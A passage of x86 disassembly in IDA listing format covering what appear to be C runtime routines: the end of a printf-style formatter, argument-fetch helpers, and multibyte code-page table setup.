		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C540
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8DC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8D4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C540
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC704
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C550

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C640
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		cmp	[ebp+var_18], 1
		mov	dword_4DC704, esi
		rep stosd
		stosb
		mov	dword_4DC924, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC821[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C560[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C548[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC821[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC71C, 1
		push	eax
		mov	dword_4DC704, eax
		call	sub_42008C
		lea	esi, dword_43C554[esi]
		mov	edi, offset dword_4DC710
		movsd
		movsd
		pop	ecx
		mov	dword_4DC924, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC821[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC924, eax
		mov	dword_4DC71C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC71C, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC710
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB330, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB330, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB330, 1
		jmp	near ptr 265091Dh
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB330, 1
		nop
		jmp	near ptr 28C067Bh
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB374
		mov	dword_4DB330, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC820
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC710
		mov	dword_4DC704, eax
		mov	dword_4DC71C, eax
		mov	dword_4DC924, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC704
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC924
		push	dword_4DC704
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC924
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC924
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC821[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC720[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC821[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC720[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC821[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
